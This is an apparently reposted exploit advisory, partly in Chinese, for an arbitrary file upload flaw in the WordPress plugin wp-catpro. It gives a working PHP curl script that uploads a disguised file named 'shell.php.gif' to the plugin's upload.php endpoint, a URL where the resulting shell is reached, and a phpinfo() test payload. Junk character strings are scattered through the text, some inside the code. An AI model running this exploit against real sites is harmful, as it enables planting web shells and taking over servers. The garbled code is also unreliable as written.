WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------
& Y' R- U+ k8 M1 \2 J# s
作者  => Zikou-16
; b# q3 a+ C$ G2 H, `% v; d6 z4 w邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
4 X9 R- L5 K) C# y7 b, v  n下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
4 m' l. V. [1 b' ]5 N####
" q% G. q- W- c! w+ C
& D8 I$ M: C# j) F#=> Exploit 信息:
% N; G1 t# Y  L------------------
# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
. c/ W* q- E# o8 Q) u2 ?------------------
1 R2 t2 G" m' H: Y3 w
) ~7 L. X  ^* R8 t& G#=> Exploit
-----------
<?php

$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
$ C1 W! D7 M# i+ ?5 J0 K) Hcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5 ~" U2 C" Q$ E3 Z6 g- w0 X$postResult = curl_exec($ch);
! x, k" w# y) s  bcurl_close($ch);
, i6 s7 [( L; G* \2 }8 j
print "$postResult";
+ v1 F: D) `( f' e& ?* `0 b1 k
, o6 u' c# X! cShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
<?php
; v, S# S5 l" E: [2 {phpinfo();
9 `. L5 T! K6 M) Z! W?>